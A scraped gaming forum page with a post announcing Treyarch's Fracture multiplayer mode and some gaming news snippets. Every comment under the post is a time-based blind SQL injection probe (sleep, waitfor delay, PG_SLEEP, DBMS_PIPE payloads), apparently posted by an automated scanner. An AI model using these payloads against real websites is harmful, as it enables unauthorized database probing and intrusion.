Jump to content
  • Tac
    Tac

    New Multiplayer Mode Fractured - Discussion and Feedback

    Hello everyone! Treyarch has announced that this Friday (July 15, 2016), "around" 10 AM PST, a new game mode is coming to multiplayer: Fracture. David Vonderhaar says that first and foremost, this game mode has been in the making for a while now and they're ready to release it and get feedback. It'll be debuting in the Bonus playlist, but they want advice on what to tweak so it can go to the Core playlist.

     

    In designing the mode, they thought about how as in Safeguard and Hardpoint, two teams focusing on a single objective is fun. Take that and add it to Kill Confirmed, and you get Fracture. When a player dies, "he's going to drop what we call a 'core file,'" says Matt S (all of their core files, to be specific). However, as opposed to Kill Confirmed where the player collects one dropped object and that's the end of it, this time you can collect up to 10 and you must transport them to another location. That location is the Fracture Site, which changes roughly every minute and is random after the first one, totaling about four per game. When on the Fracture Site, Vonderhaar says it's "about a quarter second per core file, so you don't just get to run [over it] and then that's it. If you go there and you have a lot, it's very satisfying." David says "it's 25 score per event," though in the video it was 25 points to collect a core file and 50 points to deposit it. He says that at the time of release, the mode has "a ten minute timer and 60 fragments," stressing that the games are the normal Call of Duty time everyone is used to.

     

    Fracture.png

     

    While that's how the game mode works currently, they all urge the community to have their input heard on the future of the mode. One "knob that can be turned," so to speak, is the random or linear debate regarding the Fracture Site. In Hardpoint and Safeguard, you'll recall that the objectives are linear, in the sense that the order or path is the same every time. They wanted that "structure" to exist in those modes so you could set up your defenses, but they decided to go against that for this mode, which really adds to the fun and makes big point swings possible in games. One developer, ... , also points out that this mode "forces you to play with your team, ... because if you die and drop those core files, you've essentially given it to the other team." David speaks to that as well, saying he likes "the pack-hunting mentality. I like when two or three of us kind of roll together, pick up each others messes." If the community doesn't like that though, it can be changed. "Normally we go in and we're pretty confident, like 'this is the roles the mode should have,' 'this is the score limit,' 'this is how the spawning should work,' and we're confident here too, ... but there's the dialogue. I think the fun part now is after 8 months of Black Ops, you can actually have a conversation with people about, 'what are they experiencing...'"

     

    So, people, what are you experiencing? When the mode comes out on Friday, let's "have that conversation!" Don't forget, though, it's an ongoing dialogue! Your opinions will likely change, so post them as they do!

    Edited by Tac

    • Like 1



    User Feedback

    Recommended Comments



    Guest lxbfYeaa

    Posted

    555*if(now()=sysdate(),sleep(15),0)

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555-1; waitfor delay '0:0:15' --

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555-1); waitfor delay '0:0:15' --

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555-1 waitfor delay '0:0:15' --

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555xdp9e5gx'; waitfor delay '0:0:15' --

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555-1 OR 496=(SELECT 496 FROM PG_SLEEP(15))--

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555-1) OR 272=(SELECT 272 FROM PG_SLEEP(15))--

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555-1)) OR 558=(SELECT 558 FROM PG_SLEEP(15))--

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555Sk9jB3i4' OR 664=(SELECT 664 FROM PG_SLEEP(15))--

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555ZjcD1cKw') OR 550=(SELECT 550 FROM PG_SLEEP(15))--

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555bma5XSfS')) OR 283=(SELECT 283 FROM PG_SLEEP(15))--

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

    Share this comment


    Link to comment
    Share on other sites

    Guest lxbfYeaa

    Posted

    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

    Share this comment


    Link to comment
    Share on other sites




    Guest
    Add a comment...

    ×   Pasted as rich text.   Paste as plain text instead

      Only 75 emoji are allowed.

    ×   Your link has been automatically embedded.   Display as a link instead

    ×   Your previous content has been restored.   Clear editor

    ×   You cannot paste images directly. Upload or insert images from URL.


  • Recent Status Updates

    • Electric Jesus

      I'm still around, still playing Zombies all the time, and loving it. Recent lore developments on Astra got me in my feels. Shout out to Tac, Slade, and everyone here who paved the way for this insane little world we've all enjoyed. 
      · 0 replies
    • RequixEclipse

      Oh how I have missed you so Call of Duty Zombie Forums... Glad I saved all my threads in my Google Drive 🥲.
      A New Dawn..

      · 0 replies
    • rvnleaks

      Amidst the dark and eerie night
      A choice to make – to run or fight?
      The undead horde approaches fast
      Armed with weapons, till the very last
      In Call of Duty: World at War - Zombies
      The battle for survival never ceases
      A test of skill, courage and wits
      As waves of zombies just never quits
      Blood-soaked grounds and a burning sky
      The stakes are high, the danger nigh
      But in this game, we rise above
      To conquer the undead with brute, tough love
      With finger on the trigger and heart in hand
      We face the terror, and take a stand
      For in this game, we live or die
      With Call of Duty: World at War - Zombies, we must survive.
      · 0 replies
    • rvnleaks

      and later released worldwide on December 14, 2011.
      The game features the same gameplay mechanics as its predecessor, with players fighting off waves of zombies as they try to survive for as long as possible. The game also includes a new storyline set in a Cold War-era Pentagon, with the characters from the original Zombies mode returning to fight off the undead.
      The game allows for up to four players to play together via Bluetooth or Wi-Fi, and also includes a single-player mode with a new leaderboard system to track high scores.
      Call of Duty: Black Ops – Zombies received mixed reviews upon release, with critics praising the game's addictive gameplay and multiplayer functionality, but criticizing the graphics and lack of content compared to the console versions of the game. Despite this, the game was a commercial success, with over a million downloads in its first week of release.
      · 0 replies
  • Posts

    • We're halfway through 2026, and so far, Capcom is on a roll. Resident Evil: Requiem, Monster Hunter Stories 3: Twisted Reflection, and Pragmata have all been hit games, while other titles like Street Fighter 6 continue to do well with post-launch content. So what's Capcom's secret? According to the company itself, having a team-first mentality instead of auteur-driven games is one of its keys to success. "In the game industry, when a title becomes a series, it often ends up depending heavily on a particular developer, becoming what you'd call an individual-driven title," COO Haruhiro Tsujimoto and Capcom founder Kenzo Tsujimoto said to Famitsu (via Automaton). "If that person doesn't make one, there's no next installment. The direction of the series becomes tied to the ideas of a single creator," Tsujimoto said. According to the COO, this was the case for many years at Capcom, but as it started to examine its responsibilities to its shareholders, things began to change for the company. After talking to central figures behind its franchises, Capcom abandoned individual-driven development in favor of team-driven projects. "What we came up with instead was the idea that every title should essentially be rebuilt from the ground up. We didn't mind even if sales temporarily declined as a result, and by switching to a team-based approach to game development, Capcom changed dramatically," Tsujimoto added. https://www.youtube.com/watch?v=Xjm4G7s-ELI Capcom had a long history with its games having big names behind them, like Hideki Kamiya (Devil May Cry), Shinji Mikami (Resident Evil), and Hideaki Itsuno (Dragon's Dogma). The Capcom renaissance--which is largely considered to have started when Resident Evil 7 was released in 2017--has seen the company move forward with this shift toward team-driven games.  The risk with creator-driven games is that not every title is guaranteed to be a hit, with notable examples being Peter Molyneux's Godus or Tomonobu Itagaki's Devil's Third. Recently, former Yakuza game series director Toshihiro Nagoshi appears to have run into trouble at his self-named studio, Nagoshi Studio. Reports of publisher NetEase pulling financial backing and the studio's YouTube channel vanishing-then-reappearing quietly emerged in May, and since then, it has been nothing but radio silence for Gang of Dragon. Meanwhile, gaming's most-famous auteur, Hideo Kojima, is as busy as ever with various game projects and dismissing rumors of there being trouble in paradise with his longtime pal, Geoff Keighley. View the full article
    • Nightdive Studios has been consistently knocking out impressive remasters of both beloved and niche oldies for a long time now, but the refresh of 1998's cult-classic first-person shooter SiN - originally announced in 2020 - was put on ice in 2023 in order to focus on other projects. After years of fan requests, however, it's back on track and coming to newly announced platforms later this year - with a Steam demo out now. Read more View the full article
  • Join Our Discord
×
×
  • Create New...

Important Information

By using this site, you agree to our Terms of Use, Privacy Policy, Code of Conduct, We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. .